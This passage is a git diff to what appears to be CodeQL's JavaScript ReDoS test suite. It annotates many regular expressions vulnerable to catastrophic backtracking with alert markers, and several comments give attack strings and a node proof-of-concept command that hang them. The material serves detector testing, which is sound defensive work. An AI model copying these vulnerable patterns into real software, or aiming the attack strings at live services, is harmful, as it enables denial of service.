 /^((Fred|Wilma)\s+Flintstone|(Barney|Betty)\s+Rubble)$/g;
-/^(([a-zA-Z]:|\\)\\)?(((\.)|(\.\.)|([^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?))\\)*[^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?$/g;
+/^(([a-zA-Z]:|\\)\\)?(((\.)|(\.\.)|([^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?))\\)*[^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?$/g; // $ Alert[js/redos]
 /\u00A3/g;
 /^([a-z0-9]{32})$/g;
 /[:]{1}[-~+o]?[)>]+/g;
@@ -76,7 +76,7 @@
 /(AUX|PRN|NUL|COM\d|LPT\d)+\s*$/g;
 /^[a-zA-Z]{1,2}[0-9][0-9A-Za-z]{0,1} {0,1}[0-9][A-Za-z]{2}$/g;
 /\d{4}-?\d{4}-?\d{4}-?\d{4}/g;
-/^(\/w|\/W|[^<>+?$%{}&])+$/g;
+/^(\/w|\/W|[^<>+?$%{}&])+$/g; // $ Alert[js/redos]
 /([0-1][0-9]|2[0-3]):[0-5][0-9]/g;
 /([A-Z&#228;&#246;&#252;0-9\/][^a-z\:\,\(\)]*[A-Z&#228;&#246;&#252;0-9])($|[\.\:\,\;\)\-\ \+]|s\b)/g;
 /^[\u0081-\uFFFF]{1,}$/g;
@@ -87,7 +87,7 @@
 /^(?n:(?!-[\d\,]*K) (?!-((\d{1,3},)*((([3-9]\d\d|2[89]\d|27[4-9])\xB0C)|(((4[6-9]|[5-9]\d)\d)\xB0F)))) -?\d{1,3}(,\d{3})*(\xB0[CF]|K) )$/g;
 /^[+]447\d{9}$/g;
 /[1-2][0|9][0-9]{2}[0-1][0-9][0-3][0-9][-][0-9]{4}/g;
-/^(([a-z])+.)+[A-Z]([a-z])+$/g;
+/^(([a-z])+.)+[A-Z]([a-z])+$/g; // $ Alert[js/redos]
 /(?-i:\b\p{Lu}+\b)/g;
 /^(\d{5}((|-)-\d{4})?)|([A-Za-z]\d[A-Za-z][\s\.\-]?(|-)\d[A-Za-z]\d)|[A-Za-z]{1,2}\d{1,2}[A-Za-z]? \d[A-Za-z]{2}$/g;
 /(.*\.([wW][mM][aA])|([mM][pP][3])$)/g;
@@ -120,7 +120,7 @@
 /^(.|\n){0,16}$/g;
 /\p{N}/g;
 /^[a-zA-Z0-9]{1,20}$/g;
-/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g;
+/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g; // $ Alert[js/redos]
 /^[^#]([^ ]+ ){6}[^ ]+$/g;
 /^[AaWaKkNn][a-zA-Z]?[0-9][a-zA-Z]{1,3}$/g;
 /^[a-z]+[0-9]*[a-z]+$/g;
@@ -139,13 +139,13 @@
 /^[0-9]{2}[-][0-9]{2}[-][0-9]{2}$/g;
 /^\(?082|083|084|072\)?[\s-]?[\d]{3}[\s-]?[\d]{4}$/g;
 /(\{\\f\d*)\\([^;]+;)/g;
-/^(\/w|\/W|[^<>+?$%{}&])+$/g;
+/^(\/w|\/W|[^<>+?$%{}&])+$/g; // $ Alert[js/redos]
 /^\(\d{1,2}(\s\d{1,2}){1,2}\)\s(\d{1,2}(\s\d{1,2}){1,2})((-(\d{1,4})){0,1})$/g;
 /(("|')[a-z0-9\/\.\?\=\&]*(\.htm|\.asp|\.php|\.jsp)[a-z0-9\/\.\?\=\&]*("|'))|(href=*?[a-z0-9\/\.\?\=\&"']*)/g;
 /^<a\s+href\s*=\s*"http:\/\/([^"]*)"([^>]*)>(.*?(?=<\/a>))<\/a>$/g;
 /^[0-9A-Za-z_ ]+(.[jJ][pP][gG]|.[gG][iI][fF])$/g;
 /^(?(^00000(|-0000))|(\d{5}(|-\d{4})))$/g;
-/\w?<\s?\/?[^\s>]+(\s+[^"'=]+(=("[^"]*")|('[^\']*')|([^\s"'>]*))?)*\s*\/?>/g;
+/\w?<\s?\/?[^\s>]+(\s+[^"'=]+(=("[^"]*")|('[^\']*')|([^\s"'>]*))?)*\s*\/?>/g; // $ Alert[js/redos]
 /^([A-PR-UWYZ0-9][A-HK-Y0-9][AEHMNPRTVXY0-9]?[ABEHMNPRVWXY0-9]? {1,2}[0-9][ABD-HJLN-UW-Z]{2}|GIR 0AA)$/g;
 /^([ \u00c0-\u01ffa-zA-Z'])+$/g;
 /[^abc]/g;
@@ -170,4 +170,4 @@
 /(?-i:\b\p{Lu}+\b)/g;
 /^[+]447\d{9}$/g;
 /[1-2][0|9][0-9]{2}[0-1][0-9][0-3][0-9][-][0-9]{4}/g;
-/^(([a-z])+.)+[A-Z]([a-z])+$/g;
+/^(([a-z])+.)+[A-Z]([a-z])+$/g; // $ Alert[js/redos]
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/strings.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/strings.js
index 888f1f5fb7dc..f4ebd5b8de9e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/strings.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/strings.js
@@ -16,7 +16,7 @@
 /^(?=[^\d_].*?\d)\w(\w|[!@#$%]){7,20}/g;
 /^([A-Z|a-z|&]{3}\d{2}((0[1-9]|1[012])(0[1-9]|1\d|2[0-8])|(0[13456789]|1[012])(29|30)|(0[13578]|1[02])31)|([02468][048]|[13579][26])0229)(\w{2})([A|a|0-9]{1})$|^([A-Z|a-z]{4}\d{2}((0[1-9]|1[012])(0[1-9]|1\d|2[0-8])|(0[13456789]|1[012])(29|30)|(0[13578]|1[02])31)|([02468][048]|[13579][26])0229)((\w{2})([A|a|0-9]{1})){0,3}$/g;
 /^((4\d{3})|(5[1-5]\d{2})|(6011))-?\d{4}-?\d{4}-?\d{4}|3[4,7]\d{13}$/g;
-/^[\.\w&#230;&#248;&#229;-]+@([a-z&#230;&#248;&#229;0-9]+([\.-]{0,1}[a-z&#230;&#248;&#229;0-9]+|[a-z&#230;&#248;&#229;0-9]?))+\.[a-z]{2,6}$/g;
+/^[\.\w&#230;&#248;&#229;-]+@([a-z&#230;&#248;&#229;0-9]+([\.-]{0,1}[a-z&#230;&#248;&#229;0-9]+|[a-z&#230;&#248;&#229;0-9]?))+\.[a-z]{2,6}$/g; // $ Alert[js/redos]
 /"((\\")|[^"(\\")])+"/g;
 /<[^>]+>/g;
 /^(?n:(?<lastname>(St\.\ )?(?-i:[A-Z]\'?\w+?\-?)+)(?<suffix>\ (?i:([JS]R)|((X(X{1,2})?)?((I((I{1,2})|V|X)?)|(V(I{0,3})))?)))?,((?<prefix>Dr|Prof|M(r?|(is)?)s)\ )?(?<firstname>(?-i:[A-Z]\'?(\w+?|\.)\ ??){1,2})?(\ (?<mname>(?-i:[A-Z])(\'?\w+?|\.))){0,2})$/g;
@@ -44,17 +44,17 @@
 /^([4]{1})([0-9]{12,15})$/g;
 /^([34|37]{2})([0-9]{13})$/g;
 /^([A-Z]{3}\s?(\d{3}|\d{2}|d{1})\s?[A-Z])|([A-Z]\s?(\d{3}|\d{2}|\d{1})\s?[A-Z]{3})|(([A-HK-PRSVWY][A-HJ-PR-Y])\s?([0][2-9]|[1-9][0-9])\s?[A-HJ-PR-Z]{3})$/g;
-/(\S*)+(\u007C)+(\S*)/g;
+/(\S*)+(\u007C)+(\S*)/g; // $ Alert[js/redos]
 /([^\.\?\!]*)[\.\?\!]/g;
 /(\S+)\x20{2,}(?=\S+)/g;
 /^([6011]{4})([0-9]{12})$/g;
 /^([30|36|38]{2})([0-9]{12})$/g;
 /^(?!000)(?!666)(?<SSN3>[0-6]\d{2}|7(?:[0-6]\d|7[012]))([- ]?)(?!00)(?<SSN2>\d\d)\1(?!0000)(?<SSN4>\d{4})$/g;
-/^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$/g;
+/^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$/g; // $ Alert[js/redos]
 /(NOT)?(\s*\(*)\s*(\w+)\s*(=|<>|<|>|LIKE|IN)\s*(\(([^\)]*)\)|'([^']*)'|(-?\d*\.?\d+))(\s*\)*\s*)(AND|OR)?/g;
 /^[0-9]{1,}(,[0-9]+){0,}$/g;
 /^(?!^(PRN|AUX|CLOCK\$|NUL|CON|COM\d|LPT\d|\..*)(\..+)?$)[^\x00-\x1f\\?*<>:\;|\"/]+$/g;
-/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g;
+/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g; // $ Alert[js/redos]
 /^([1-9]{1}[0-9]{3}[,]?)*([1-9]{1}[0-9]{3})$/g;
 /^(?=((0[1-9]0)|([1-7][1-7]\d)|(00[1-9])|(0[1-9][1-9]))-(?=(([1-9]0)|(0[1-9])|([1-9][1-9]))-(?=((\d{3}[1-9])$|([1-9]\d{3})$|(\d[1-9]\d{2})$|(\d{2}[1-9]\d)$))))/g;
 /(\b\w+\b)/g;
@@ -78,7 +78,7 @@
 /^(\d{4}-){3}\d{4}$|^(\d{4} ){3}\d{4}$|^\d{16}$/g;
 /^(?<field1>[^,]+),(?<field2>[^,]+),(?<field3>[^,]+)$/g;
 /^(([a-h,A-H,j-n,J-N,p-z,P-Z,0-9]{9})([a-h,A-H,j-n,J-N,p,P,r-t,R-T,v-z,V-Z,0-9])([a-h,A-H,j-n,J-N,p-z,P-Z,0-9])(\d{6}))$/g;
-/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g;
+/(?s)(?:\e\[(?:(\d+);?)*([A-Za-z])(.*?))(?=\e\[|\z)/g; // $ Alert[js/redos]
 /(NOT)?(\s*\(*)\s*(\w+)\s*(=|<>|<|>|LIKE|IN)\s*(\(([^\)]*)\)|'([^']*)'|(-?\d*\.?\d+))(\s*\)*\s*)(AND|OR)?/g;
 /^[0-9]{1,}(,[0-9]+){0,}$/g;
 /^([4]{1})([0-9]{12,15})$/g;
@@ -88,4 +88,4 @@
 /([^\.\?\!]*)[\.\?\!]/g;
 /(\S+)\x20{2,}(?=\S+)/g;
 /^([A-Z]{3}\s?(\d{3}|\d{2}|d{1})\s?[A-Z])|([A-Z]\s?(\d{3}|\d{2}|\d{1})\s?[A-Z]{3})|(([A-HK-PRSVWY][A-HJ-PR-Y])\s?([0][2-9]|[1-9][0-9])\s?[A-HJ-PR-Z]{3})$/g;
-/(\S*)+(\u007C)+(\S*)/g;
+/(\S*)+(\u007C)+(\S*)/g; // $ Alert[js/redos]
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/uri.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/uri.js
index 90d83b56ad3d..29ce77334563 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/uri.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/uri.js
@@ -1,8 +1,8 @@
 /^(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/g;
 /(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?/g;
-/(?:(?<protocol>http(?:s?)|ftp)(?:\:\/\/)) (?:(?<usrpwd>\w+\:\w+)(?:\@))? (?<domain>[^/\r\n\:]+)? (?<port>\:\d+)? (?<path>(?:\/.*)*\/)? (?<filename>.*?\.(?<ext>\w{2,4}))? (?<qrystr>\??(?:\w+\=[^\#]+)(?:\&?\w+\=\w+)*)* (?<bkmrk>\#.*)?/g;
+/(?:(?<protocol>http(?:s?)|ftp)(?:\:\/\/)) (?:(?<usrpwd>\w+\:\w+)(?:\@))? (?<domain>[^/\r\n\:]+)? (?<port>\:\d+)? (?<path>(?:\/.*)*\/)? (?<filename>.*?\.(?<ext>\w{2,4}))? (?<qrystr>\??(?:\w+\=[^\#]+)(?:\&?\w+\=\w+)*)* (?<bkmrk>\#.*)?/g; // $ Alert[js/redos]
 /^[^\\\/\?\*\"\'\>\<\:\|]*$/g;
-/^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w ]*.*))+\.(txt|TXT)$/g;
+/^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w ]*.*))+\.(txt|TXT)$/g; // $ Alert[js/redos]
 /(?!\.)[a-z]{1,4}$/g;
 /^([a-zA-Z]\:) (\\{1}| ((\\{1}) [^\\] ([^/:*?<>"|]*(?<![ ])))+)$/g;
 /(a(?:[cdefgilmnoqrstuwxz]|ero|(?:rp|si)a)|b(?:[abdefghijmnorstvwyz]iz)|c(?:[acdfghiklmnoruvxyz]|at|o(?:m|op))|d[ejkmoz]|e(?:[ceghrstu]|du)|f[ijkmor]|g(?:[abdefghilmnpqrstuwy]|ov)|h[kmnrtu]|i(?:[delmnoqrst]|n(?:fo|t))|j(?:[emop]|obs)|k[eghimnprwyz]|l[abcikrstuvy]|m(?:[acdeghklmnopqrstuvwxyz]|il|obi|useum)|n(?:[acefgilopruz]|ame|et)|o(?:m|rg)|p(?:[aefghklmnrstwy]|ro)|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t(?:[cdfghjklmnoprtvwz]|(?:rav)?el)|u[agkmsyz]|v[aceginu]|w[fs]|y[etu]|z[amw])/g;
@@ -14,7 +14,7 @@
 /\b([\d\w\.\/\+\-\?\:]*)((ht|f)tp(s|)\:\/\/|[\d\d\d|\d\d]\.[\d\d\d|\d\d]\.|www\.|\.tv|\.ac|\.com|\.edu|\.gov|\.int|\.mil|\.net|\.org|\.biz|\.info|\.name|\.pro|\.museum|\.co)([\d\w\.\/\%\+\-\=\&\?\:\\\"\'\,\|\~\;]*)\b/g;
 /^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/g;
 /^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}$/g;
-/^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w ]*.*))+\.(jpg|JPG)$/g;
+/^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w ]*.*))+\.(jpg|JPG)$/g; // $ Alert[js/redos]
 /\A([A-Za-z0-9'~`!@#$%&^_+=\(\){},\-\[\]\;])+?([ A-Za-z0-9'~` !@#$%&^_+=\(\){},\-\[\];]|([.]))*?(?(3)(([ A-Za-z0-9'~`!@#$ %&^_+=\(\){},\-\[\]\;]*?)([A-Za-z0-9'~`!@#$%&^_+=\(\){},\-\[ \];])+\z)|(\z))/g;
 /(^\d{3}\x2E\d{3}\x2E\d{3}\x2D\d{2}$)/g;
 /^(([0-2]*[0-9]+[0-9]+)\.([0-2]*[0-9]+[0-9]+)\.([0-2]*[0-9]+[0-9]+)\.([0-2]*[0-9]+[0-9]+))$/g;
@@ -35,7 +35,7 @@
 /9[0-9]/g;
 /^(\$|)([1-9]+\d{0,2}(\,\d{3})*|([1-9]+\d*))(\.\d{2})?$/g;
 /^\\([^\\]+\\)*[^\/:*?"<>|]?$/g;
-/^[a-z]+([a-z0-9-]*[a-z0-9]+)?(\.([a-z]+([a-z0-9-]*[a-z0-9]+)?)+)*$/g;
+/^[a-z]+([a-z0-9-]*[a-z0-9]+)?(\.([a-z]+([a-z0-9-]*[a-z0-9]+)?)+)*$/g; // $ Alert[js/redos]
 /<a\s*.*?href\s*=\s*['"](?!http:\/\/).*?>(.*?)<\/a>/g;
 /^[^\\\./:\*\?\"<>\|]{1}[^\\/:\*\?\"<>\|]{0,254}$/g;
 /^[a-zA-Z0-9]+([a-zA-Z0-9\-\.]+)?\.(aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly| ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk| pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr| st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zr|zw|AERO|BIZ|COM|COOP|EDU|GOV|INFO|INT|MIL|MUSEUM|NAME|NET|ORG|AC|/g;
@@ -52,7 +52,7 @@
 /9[0-9]/g;
 /([^\=&]+)(?<!param1|param2|param3)\=([^\=&]+)(&)?/g;
 /^(\$|)([1-9]+\d{0,2}(\,\d{3})*|([1-9]+\d*))(\.\d{2})?$/g;
-/^[a-z]+([a-z0-9-]*[a-z0-9]+)?(\.([a-z]+([a-z0-9-]*[a-z0-9]+)?)+)*$/g;
+/^[a-z]+([a-z0-9-]*[a-z0-9]+)?(\.([a-z]+([a-z0-9-]*[a-z0-9]+)?)+)*$/g; // $ Alert[js/redos]
 /^\\([^\\]+\\)*[^\/:*?"<>|]?$/g;
 /^((\d|\d\d|[0-1]\d\d|2[0-4]\d|25[0-5])\.(\d|\d\d|[0-1]\d\d|2[0-4]\d|25[0-5])\.(\d|\d\d|[0-1]\d\d|2[0-4]\d|25[0-5])\.(\d|\d\d|[0-1]\d\d|2[0-4]\d|25[0-5]))$/g;
 /((http\:\/\/|https\:\/\/|ftp\:\/\/)|(www.))+(([a-zA-Z0-9\.-]+\.[a-zA-Z]{2,4})|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(\/[a-zA-Z0-9%:/-_\?\.'~]*)?/g;
@@ -60,7 +60,7 @@
 /^(ht|f)tp((?<=http)s)?:\/\/((?<=http:\/\/)www|(?<=https:\/\/)www|(?<=ftp:\/\/)ftp)\.(([a-z][0-9])|([0-9][a-z])|([a-z0-9][a-z0-9\-]{1,2}[a-z0-9])|([a-z0-9][a-z0-9\-](([a-z0-9\-][a-z0-9])|([a-z0-9][a-z0-9\-]))[a-z0-9\-]*[a-z0-9]))\.(co|me|org|ltd|plc|net|sch|ac|mod|nhs|police|gov)\.uk$/g;
 /^DOMAIN\\\w+$/g;
 /^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))(\:[0-9]+)*(\/($|[a-zA-Z0-9\.\,\?\'\\\+&%\$#\=~_\-]+))*$/g;
-/^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(\/[^/][a-zA-Z0-9\.\,\?\'\\/\+&%\$#\=~_\-@]*)*$/g;
+/^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(\/[^/][a-zA-Z0-9\.\,\?\'\\/\+&%\$#\=~_\-@]*)*$/g; // $ Alert[js/redos]
 /^\\{2}[\w-]+\\(([\w-][\w-\s]*[\w-]+[$$]?$)|([\w-][$$]?$))/g;
 /(^[a-zA-Z0-9]+:\/\/)/g;
 /^http:\/\/([a-zA-Z0-9_\-]+)([\.][a-zA-Z0-9_\-]+)+([/][a-zA-Z0-9\~\(\)_\-]*)+([\.][a-zA-Z0-9\(\)_\-]+)*$/g;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js
index 598ff7027184..d5a28e5858dc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js
@@ -1,417 +1,345 @@
-// NOT GOOD; attack: "_" + "__".repeat(100)
 // Adapted from marked (https://github.com/markedjs/marked), which is licensed
 // under the MIT license; see file marked-LICENSE.
-var bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/;
+var bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/; // $ Alert[js/redos] - attack: "_" + "__".repeat(100)
+
 
-// GOOD
 // Adapted from marked (https://github.com/markedjs/marked), which is licensed
 // under the MIT license; see file marked-LICENSE.
 var good1 = /^\b_((?:__|[^_])+?)_\b|^\*((?:\*\*|[^*])+?)\*(?!\*)/;
 
-// GOOD - there is no witness in the end that could cause the regexp to not match
+// OK - there is no witness in the end that could cause the regexp to not match
 // Adapted from brace-expansion (https://github.com/juliangruber/brace-expansion),
 // which is licensed under the MIT license; see file brace-expansion-LICENSE.
 var good2 = /(.*,)+.+/;
 
-// NOT GOOD; attack: " '" + "\\\\".repeat(100)
 // Adapted from CodeMirror (https://github.com/codemirror/codemirror),
 // which is licensed under the MIT license; see file CodeMirror-LICENSE.
-var bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/;
+var bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/; // $ Alert[js/redos] - attack: " '" + "\\\\".repeat(100)
+
 
-// GOOD
 // Adapted from lulucms2 (https://github.com/yiifans/lulucms2).
 var good2 = /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/;
 
-// GOOD
+
 // Adapted from jest (https://github.com/facebook/jest), which is licensed
 // under the MIT license; see file jest-LICENSE.
 var good3 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/;
 
-// NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100)
-var bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/;
+var bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/; // $ Alert[js/redos] - variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100)
 
-// NOT GOOD; attack: "/" + "\\/a".repeat(100)
 // Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog),
 // which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE.
-var bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/;
+var bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/; // $ Alert[js/redos] - attack: "/" + "\\/a".repeat(100)
 
-// NOT GOOD; attack: "##".repeat(100) + "\na"
 // Adapted from CodeMirror (https://github.com/codemirror/codemirror),
 // which is licensed under the MIT license; see file CodeMirror-LICENSE.
-var bad6 = /^([\s\[\{\(]|#.*)*$/;
+var bad6 = /^([\s\[\{\(]|#.*)*$/; // $ Alert[js/redos] - attack: "##".repeat(100) + "\na"
+
 
-// GOOD
 var good4 = /(\r\n|\r|\n)+/;
 
 // BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string.
-var actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/;
+var actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/; // $ Alert[js/redos]
 
-// NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n"
 // Adapted from Knockout (https://github.com/knockout/knockout), which is
 // licensed under the MIT license; see file knockout-LICENSE
-var bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i;
+var bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i; // $ Alert[js/redos] - attack: "a" + "[]".repeat(100) + ".b\n"
+
 
-// GOOD
 var good6 = /(a|.)*/;
 
 // Testing the NFA - only some of the below are detected.
-var bad7 = /^([a-z]+)+$/;
-var bad8 = /^([a-z]*)*$/;
-var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;
